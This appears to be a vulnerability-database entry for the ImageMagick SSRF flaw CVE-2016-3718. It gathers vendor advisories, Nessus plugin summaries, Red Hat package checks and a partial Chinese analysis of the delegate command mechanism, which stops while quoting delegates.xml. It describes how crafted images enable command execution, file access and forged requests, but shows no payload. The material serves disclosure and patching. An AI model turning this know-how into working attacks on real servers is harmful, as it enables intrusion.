Vulnerabilities > CVE-2016-3718 - Server-Side Request Forgery (SSRF) vulnerability in multiple products

047910
CVSS 5.5 - MEDIUM
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
HIGH
Availability impact
NONE
local
low complexity
redhat
imagemagick
canonical
oracle
suse
opensuse
CWE-918
nessus
exploit available

Summary

The (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image.

Vulnerable Configurations

Part Description Count
OS
Redhat
53
OS
Canonical
4
OS
Oracle
4
OS
Suse
12
OS
Opensuse
2
Application
Imagemagick
831
Application
Suse
6

Common Weakness Enumeration (CWE)

Exploit-Db

descriptionImageMagick - Multiple Vulnerabilities. CVE-2016-3714,CVE-2016-3715,CVE-2016-3716,CVE-2016-3717,CVE-2016-3718. Dos exploits for multiple platform
fileexploits/multiple/dos/39767.txt
idEDB-ID:39767
last seen2016-05-04
modified2016-05-04
platformmultiple
port
published2016-05-04
reporterNikolay Ermishkin
sourcehttps://www.exploit-db.com/download/39767/
titleImageMagick < 6.9.3-9 - Multiple Vulnerabilities
typedos

Nessus

  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-3580.NASL
    descriptionNikolay Ermishkin from the Mail.Ru Security Team and Stewie discovered several vulnerabilities in ImageMagick, a program suite for image manipulation. These vulnerabilities, collectively known as ImageTragick, are the consequence of lack of sanitization of untrusted input. An attacker with control on the image input could, with the privileges of the user running the application, execute code (CVE-2016-3714 ), make HTTP GET or FTP requests (CVE-2016-3718 ), or delete (CVE-2016-3715 ), move (CVE-2016-3716 ), or read (CVE-2016-3717 ) local files. These vulnerabilities are particularly critical if Imagemagick processes images coming from remote parties, such as part of a web service. The update disables the vulnerable coders (EPHEMERAL, URL, MVG, MSL, and PLT) and indirect reads via /etc/ImageMagick-6/policy.xml file. In addition, we introduce extra preventions, including some sanitization for input filenames in http/https delegates, the full remotion of PLT/Gnuplot decoder, and the need of explicit reference in the filename for the insecure coders.
    last seen2020-06-01
    modified2020-06-02
    plugin id91175
    published2016-05-17
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91175
    titleDebian DSA-3580-1 : imagemagick - security update (ImageTragick)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-1275-1.NASL
    descriptionThis update for ImageMagick fixes the following issues : Security issues fixed : - Several coders were vulnerable to remote code execution attacks, these coders have now been disabled. They can be re-enabled by exporting the following environment variable MAGICK_CODER_MODULE_PATH=/usr/lib64/ImageMagick-6.4.3/mo dules-Q16/coders/vu lnerable/ (bsc#978061) - CVE-2016-3714: Insufficient shell characters filtering leads to (potentially remote) code execution - CVE-2016-3715: Possible file deletion by using ImageMagick
    last seen2020-06-01
    modified2020-06-02
    plugin id91119
    published2016-05-13
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91119
    titleSUSE SLES11 Security Update : ImageMagick (SUSE-SU-2016:1275-1) (ImageTragick)
  • NASL familyOracle Linux Local Security Checks
    NASL idORACLELINUX_ELSA-2016-0726.NASL
    descriptionFrom Red Hat Security Advisory 2016:0726 : An update for ImageMagick is now available for Red Hat Enterprise Linux 6 and Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. ImageMagick is an image display and manipulation tool for the X Window System that can read and write multiple image formats. Security Fix(es) : * It was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application. (CVE-2016-3714) * It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to delete, move, or disclose the contents of arbitrary files. (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717) * A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note: This update contains an updated /etc/ImageMagick/policy.xml file that disables the EPHEMERAL, HTTPS, HTTP, URL, FTP, MVG, MSL, TEXT, and LABEL coders. If you experience any problems after the update, it may be necessary to manually adjust the policy.xml file to match your requirements. Please take additional precautions to ensure that your applications using the ImageMagick library do not process malicious or untrusted files before doing so.
    last seen2020-06-01
    modified2020-06-02
    plugin id91032
    published2016-05-11
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91032
    titleOracle Linux 6 / 7 : ImageMagick (ELSA-2016-0726) (ImageTragick)
  • NASL familySlackware Local Security Checks
    NASL idSLACKWARE_SSA_2016-132-01.NASL
    descriptionNew mozilla-thunderbird packages are available for Slackware 14.1 and -current to fix security issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id91046
    published2016-05-12
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91046
    titleSlackware 14.0 / 14.1 / current : mozilla-thunderbird (SSA:2016-132-01) (ImageTragick)
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DLA-484.NASL
    descriptionSeveral security vulnerabilities were discovered in graphicsmagick a tool to manipulate image files. GraphicsMagick is a fork of ImageMagick and also affected by vulnerabilities collectively known as ImageTragick, that are the consequence of lack of sanitization of untrusted input. An attacker with control on the image input could, with the privileges of the user running the application, execute code (CVE-2016-3714), make HTTP GET or FTP requests (CVE-2016-3718), or delete (CVE-2016-3715), move (CVE-2016-3716), or read (CVE-2016-3717) local files. To address these concerns the following changes have been made : 1. Remove automatic detection/execution of MVG based on file header or file extension. 2. Remove the ability to cause an input file to be deleted based on a filename specification. 3. Improve the safety of delegates.mgk by removing gnuplot support, removing manual page support, and by adding -dSAFER to all ghostscript invocations. 4. Sanity check the MVG image primitive filename argument to assure that
    last seen2020-03-17
    modified2016-05-24
    plugin id91299
    published2016-05-24
    reporterThis script is Copyright (C) 2016-2020 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/91299
    titleDebian DLA-484-1 : graphicsmagick security update (ImageTragick)
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_0D724B05687F45279C03AF34D3B094EC.NASL
    descriptionOpenwall reports : Insufficient filtering for filename passed to delegate
    last seen2020-06-01
    modified2020-06-02
    plugin id90979
    published2016-05-09
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90979
    titleFreeBSD : ImageMagick -- multiple vulnerabilities (0d724b05-687f-4527-9c03-af34d3b094ec) (ImageTragick)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-574.NASL
    descriptionThis update for ImageMagick fixes the following issues : Security issues fixed : - Several coders were vulnerable to remote code execution attacks, these coders have now been disabled by default but can be re-enabled by editing
    last seen2020-06-05
    modified2016-05-09
    plugin id90986
    published2016-05-09
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90986
    titleopenSUSE Security Update : ImageMagick (openSUSE-2016-574) (ImageTragick)
  • NASL familyF5 Networks Local Security Checks
    NASL idF5_BIGIP_SOL61974123.NASL
    descriptionThe (1) HTTP and (2) FTP coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to conduct server-side request forgery (SSRF) attacks via a crafted image. (CVE-2016-3718) Note : This vulnerability is one of the series of vulnerabilities known as ImageTragick.
    last seen2020-06-01
    modified2020-06-02
    plugin id91144
    published2016-05-16
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91144
    titleF5 Networks BIG-IP : ImageMagick vulnerability (K61974123)
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-2990-1.NASL
    descriptionNikolay Ermishkin and Stewie discovered that ImageMagick incorrectly sanitized untrusted input. A remote attacker could use these issues to execute arbitrary code. These issues are known as
    last seen2020-06-01
    modified2020-06-02
    plugin id91450
    published2016-06-03
    reporterUbuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91450
    titleUbuntu 12.04 LTS / 14.04 LTS / 15.10 / 16.04 LTS : imagemagick vulnerabilities (USN-2990-1) (ImageTragick)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-569.NASL
    descriptionThis update for ImageMagick fixes the following issues : The update disables various insecure coders [boo#978061] These fix issues tracked in CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, CVE-2016-3717, CVE-2016-3718
    last seen2020-06-05
    modified2016-05-09
    plugin id90981
    published2016-05-09
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90981
    titleopenSUSE Security Update : ImageMagick (openSUSE-2016-569) (ImageTragick)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2016-1260-1.NASL
    descriptionThis update for ImageMagick fixes the following issues : Security issues fixed : - Several coders were vulnerable to remote code execution attacks, these coders have now been disabled by default but can be re-enabled by editing
    last seen2020-06-01
    modified2020-06-02
    plugin id90996
    published2016-05-09
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90996
    titleSUSE SLED12 / SLES12 Security Update : ImageMagick (SUSE-SU-2016:1260-1) (ImageTragick)
  • NASL familyHuawei Local Security Checks
    NASL idEULEROS_SA-2016-1021.NASL
    descriptionAccording to the versions of the ImageMagick packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - It was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application.(CVE-2016-3714) - It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to delete, move, or disclose the contents of arbitrary files. (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717) - A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-05-06
    modified2017-05-01
    plugin id99784
    published2017-05-01
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/99784
    titleEulerOS 2.0 SP1 : ImageMagick (EulerOS-SA-2016-1021)
  • NASL familyScientific Linux Local Security Checks
    NASL idSL_20160509_IMAGEMAGICK_ON_SL6_X.NASL
    descriptionSecurity Fix(es) : - It was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application. (CVE-2016-3714) - It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to delete, move, or disclose the contents of arbitrary files. (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717) - A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note: This update contains an updated /etc/ImageMagick/policy.xml file that disables the EPHEMERAL, HTTPS, HTTP, URL, FTP, MVG, MSL, TEXT, and LABEL coders. If you experience any problems after the update, it may be necessary to manually adjust the policy.xml file to match your requirements. Please take additional precautions to ensure that your applications using the ImageMagick library do not process malicious or untrusted files before doing so.
    last seen2020-03-18
    modified2016-05-11
    plugin id91039
    published2016-05-11
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91039
    titleScientific Linux Security Update : ImageMagick on SL6.x, SL7.x i386/x86_64 (20160509) (ImageTragick)
  • NASL familyWindows
    NASL idIMAGEMAGICK_7_0_1_1.NASL
    descriptionThe remote Windows host has a version of ImageMagick installed that is prior to 7.0.1-1 or 6.x prior to 6.9.3-10. It is, therefore, affected by the following vulnerabilities : - A remote code execution vulnerability, known as ImageTragick, exists due to a failure to properly filter shell characters in filenames passed to delegate commands. A remote attacker can exploit this, via specially crafted images, to inject shell commands and execute arbitrary code. (CVE-2016-3714) - An unspecified flaw exists in the
    last seen2020-06-01
    modified2020-06-02
    plugin id90892
    published2016-05-04
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/90892
    titleImageMagick < 7.0.1-1 / 6.x < 6.9.3-10 Multiple Vulnerabilities (ImageTragick)
  • NASL familyCentOS Local Security Checks
    NASL idCENTOS_RHSA-2016-0726.NASL
    descriptionAn update for ImageMagick is now available for Red Hat Enterprise Linux 6 and Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. ImageMagick is an image display and manipulation tool for the X Window System that can read and write multiple image formats. Security Fix(es) : * It was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application. (CVE-2016-3714) * It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to delete, move, or disclose the contents of arbitrary files. (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717) * A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note: This update contains an updated /etc/ImageMagick/policy.xml file that disables the EPHEMERAL, HTTPS, HTTP, URL, FTP, MVG, MSL, TEXT, and LABEL coders. If you experience any problems after the update, it may be necessary to manually adjust the policy.xml file to match your requirements. Please take additional precautions to ensure that your applications using the ImageMagick library do not process malicious or untrusted files before doing so.
    last seen2020-06-01
    modified2020-06-02
    plugin id91020
    published2016-05-11
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91020
    titleCentOS 6 / 7 : ImageMagick (CESA-2016:0726) (ImageTragick)
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DLA-1401.NASL
    descriptionVarious security issues were discovered in Graphicsmagick, a collection of image processing tools. Heap-based buffer overflows or overreads may lead to a denial of service or disclosure of in-memory information or other unspecified impact by processing a malformed image file. For Debian 8
    last seen2020-06-01
    modified2020-06-02
    plugin id110727
    published2018-06-28
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/110727
    titleDebian DLA-1401-1 : graphicsmagick security update
  • NASL familyAmazon Linux Local Security Checks
    NASL idALA_ALAS-2016-699.NASL
    descriptionIt was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application. (CVE-2016-3714) It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to disclose the contents of arbitrary files. (CVE-2016-3715 , CVE-2016-3716 , CVE-2016-3717) A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note: This update contains an updated /etc/ImageMagick/policy.xml file that disables the EPHEMERAL, HTTPS, HTTP, URL, FTP, MVG, MSL, TEXT, and LABEL coders. If you experience any problems after the update, it may be necessary to manually adjust the policy.xml file to match your requirements. Please take additional precautions to ensure that your applications using the ImageMagick library do not process malicious or untrusted files before doing so.
    last seen2020-06-01
    modified2020-06-02
    plugin id91047
    published2016-05-12
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91047
    titleAmazon Linux AMI : ImageMagick (ALAS-2016-699) (ImageTragick)
  • NASL familyRed Hat Local Security Checks
    NASL idREDHAT-RHSA-2016-0726.NASL
    descriptionAn update for ImageMagick is now available for Red Hat Enterprise Linux 6 and Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. ImageMagick is an image display and manipulation tool for the X Window System that can read and write multiple image formats. Security Fix(es) : * It was discovered that ImageMagick did not properly sanitize certain input before passing it to the delegate functionality. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would lead to arbitrary execution of shell commands with the privileges of the user running the application. (CVE-2016-3714) * It was discovered that certain ImageMagick coders and pseudo-protocols did not properly prevent security sensitive operations when processing specially crafted images. A remote attacker could create a specially crafted image that, when processed by an application using ImageMagick or an unsuspecting user using the ImageMagick utilities, would allow the attacker to delete, move, or disclose the contents of arbitrary files. (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717) * A server-side request forgery flaw was discovered in the way ImageMagick processed certain images. A remote attacker could exploit this flaw to mislead an application using ImageMagick or an unsuspecting user using the ImageMagick utilities into, for example, performing HTTP(S) requests or opening FTP sessions via specially crafted images. (CVE-2016-3718) Note: This update contains an updated /etc/ImageMagick/policy.xml file that disables the EPHEMERAL, HTTPS, HTTP, URL, FTP, MVG, MSL, TEXT, and LABEL coders. If you experience any problems after the update, it may be necessary to manually adjust the policy.xml file to match your requirements. Please take additional precautions to ensure that your applications using the ImageMagick library do not process malicious or untrusted files before doing so.
    last seen2020-06-01
    modified2020-06-02
    plugin id91036
    published2016-05-11
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91036
    titleRHEL 6 / 7 : ImageMagick (RHSA-2016:0726) (ImageTragick)
  • NASL familyCGI abuses
    NASL idWORDPRESS_4_5_2.NASL
    descriptionAccording to its self-reported version number, the WordPress application running on the remote web server is prior to 4.5.2. It is, therefore, affected by the following vulnerabilities : - A remote code execution vulnerability, known as ImageTragick, exists in the ImageMagick library due to a failure to properly filter shell characters in filenames passed to delegate commands. A remote attacker can exploit this, via specially crafted images, to inject shell commands and execute arbitrary code. (CVE-2016-3714) - An unspecified flaw exists in the ImageMagick library in the
    last seen2020-06-01
    modified2020-06-02
    plugin id91101
    published2016-05-12
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91101
    titleWordPress < 4.5.2 Multiple Vulnerabilities (ImageTragick)
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201611-21.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201611-21 (ImageMagick: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in ImageMagick. Please review the CVE identifiers referenced below for details. Impact : A remote attacker could possibly execute arbitrary code with the privileges of the process or cause a Denial of Service condition. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id95420
    published2016-12-01
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/95420
    titleGLSA-201611-21 : ImageMagick: Multiple vulnerabilities (ImageTragick)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-602.NASL
    descriptionThis update for GraphicsMagick fixes the following issues : Security issues fixed : - Multiple security issues in GraphicsMagick/ImageMagick [boo#978061] (CVE-2016-3714, CVE-2016-3718, CVE-2016-3715, CVE-2016-3717)
    last seen2020-06-05
    modified2016-05-20
    plugin id91272
    published2016-05-20
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91272
    titleopenSUSE Security Update : GraphicsMagick (openSUSE-2016-602) (ImageTragick)
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DLA-486.NASL
    descriptionNikolay Ermishkin from the Mail.Ru Security Team and Stewie discovered several vulnerabilities in ImageMagick, a program suite for image manipulation. These vulnerabilities, collectively known as ImageTragick, are the consequence of lack of sanitization of untrusted input. An attacker with control on the image input could, with the privileges of the user running the application, execute code (CVE-2016-3714), make HTTP GET or FTP requests (CVE-2016-3718), or delete (CVE-2016-3715), move (CVE-2016-3716), or read (CVE-2016-3717) local files. These vulnerabilities are particularly critical if Imagemagick processes images coming from remote parties, such as part of a web service. The update disables the vulnerable coders (EPHEMERAL, URL, MVG, MSL, and PLT) and indirect reads via /etc/ImageMagick/policy.xml file. In addition, we introduce extra preventions, including some sanitization for input filenames in http/https delegates, the full remotion of PLT/Gnuplot decoder, and the need of explicit reference in the filename for the insecure coders. For the wheezy, these problems have been fixed in version 8:6.7.7.10-5+deb7u5. We recommend that you upgrade your imagemagick packages. NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-03-17
    modified2016-05-23
    plugin id91287
    published2016-05-23
    reporterThis script is Copyright (C) 2016-2020 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/91287
    titleDebian DLA-486-1 : imagemagick security update (ImageTragick)

Redhat

advisories
bugzilla
id1332802
titleCVE-2016-3718 ImageMagick: SSRF vulnerability
oval
OR
  • commentRed Hat Enterprise Linux must be installed
    ovaloval:com.redhat.rhba:tst:20070304026
  • AND
    • commentRed Hat Enterprise Linux 6 is installed
      ovaloval:com.redhat.rhba:tst:20111656003
    • OR
      • AND
        • commentImageMagick-c++ is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726001
        • commentImageMagick-c++ is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544010
      • AND
        • commentImageMagick is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726003
        • commentImageMagick is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544008
      • AND
        • commentImageMagick-c++-devel is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726005
        • commentImageMagick-c++-devel is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544002
      • AND
        • commentImageMagick-devel is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726007
        • commentImageMagick-devel is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544004
      • AND
        • commentImageMagick-doc is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726009
        • commentImageMagick-doc is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544012
      • AND
        • commentImageMagick-perl is earlier than 0:6.7.2.7-4.el6_7
          ovaloval:com.redhat.rhsa:tst:20160726011
        • commentImageMagick-perl is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544006
  • AND
    • commentRed Hat Enterprise Linux 7 is installed
      ovaloval:com.redhat.rhba:tst:20150364027
    • OR
      • AND
        • commentImageMagick is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726014
        • commentImageMagick is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544008
      • AND
        • commentImageMagick-c++ is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726015
        • commentImageMagick-c++ is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544010
      • AND
        • commentImageMagick-devel is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726016
        • commentImageMagick-devel is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544004
      • AND
        • commentImageMagick-c++-devel is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726017
        • commentImageMagick-c++-devel is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544002
      • AND
        • commentImageMagick-doc is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726018
        • commentImageMagick-doc is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544012
      • AND
        • commentImageMagick-perl is earlier than 0:6.7.8.9-13.el7_2
          ovaloval:com.redhat.rhsa:tst:20160726019
        • commentImageMagick-perl is signed with Red Hat redhatrelease2 key
          ovaloval:com.redhat.rhsa:tst:20120544006
rhsa
idRHSA-2016:0726
released2016-05-09
severityImportant
titleRHSA-2016:0726: ImageMagick security update (Important)
rpms
  • ImageMagick-0:6.7.2.7-4.el6_7
  • ImageMagick-0:6.7.8.9-13.el7_2
  • ImageMagick-c++-0:6.7.2.7-4.el6_7
  • ImageMagick-c++-0:6.7.8.9-13.el7_2
  • ImageMagick-c++-devel-0:6.7.2.7-4.el6_7
  • ImageMagick-c++-devel-0:6.7.8.9-13.el7_2
  • ImageMagick-debuginfo-0:6.7.2.7-4.el6_7
  • ImageMagick-debuginfo-0:6.7.8.9-13.el7_2
  • ImageMagick-devel-0:6.7.2.7-4.el6_7
  • ImageMagick-devel-0:6.7.8.9-13.el7_2
  • ImageMagick-doc-0:6.7.2.7-4.el6_7
  • ImageMagick-doc-0:6.7.8.9-13.el7_2
  • ImageMagick-perl-0:6.7.2.7-4.el6_7
  • ImageMagick-perl-0:6.7.8.9-13.el7_2

Seebug

bulletinFamilyexploit
description详情来源:[CVE-2016-3714 - ImageMagick 命令执行分析 - 乌云知识库](http://drops.wooyun.org/papers/15589) ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的。 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商。我们先来分析一下它出现的原因。 ### 0x01 原理分析 与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。 ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的( https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347 ) 我们在ImageMagick的默认配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE delegatemap [ <!ELEMENT delegatemap (delegate)+> <!ELEMENT delegate (#PCDATA)> <!ATTLIST delegate decode CDATA #IMPLIED> <!ATTLIST delegate encode CDATA #IMPLIED> <!ATTLIST delegate mode CDATA #IMPLIED> <!ATTLIST delegate spawn CDATA #IMPLIED> <!ATTLIST delegate stealth CDATA #IMPLIED> <!ATTLIST delegate thread-support CDATA #IMPLIED> <!ATTLIST delegate command CDATA #REQUIRED> ]> <!-- Delegate command file. Commands which specify decode="in_format" encode="out_format" specify the rules for converting from in_format to out_format These rules may be used to translate directly between formats. Commands which specify only decode="in_format" specify the rules for converting from in_format to some format that ImageMagick will automatically recognize. These rules are used to decode formats. Commands which specify only encode="out_format" specify the rules for an "encoder" which may accept any input format. For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are as follows: %i input image filename %o output image filename %u unique temporary filename %Z unique temporary filename %# input image signature %b image file size %c input image comment %g image geometry %h image rows 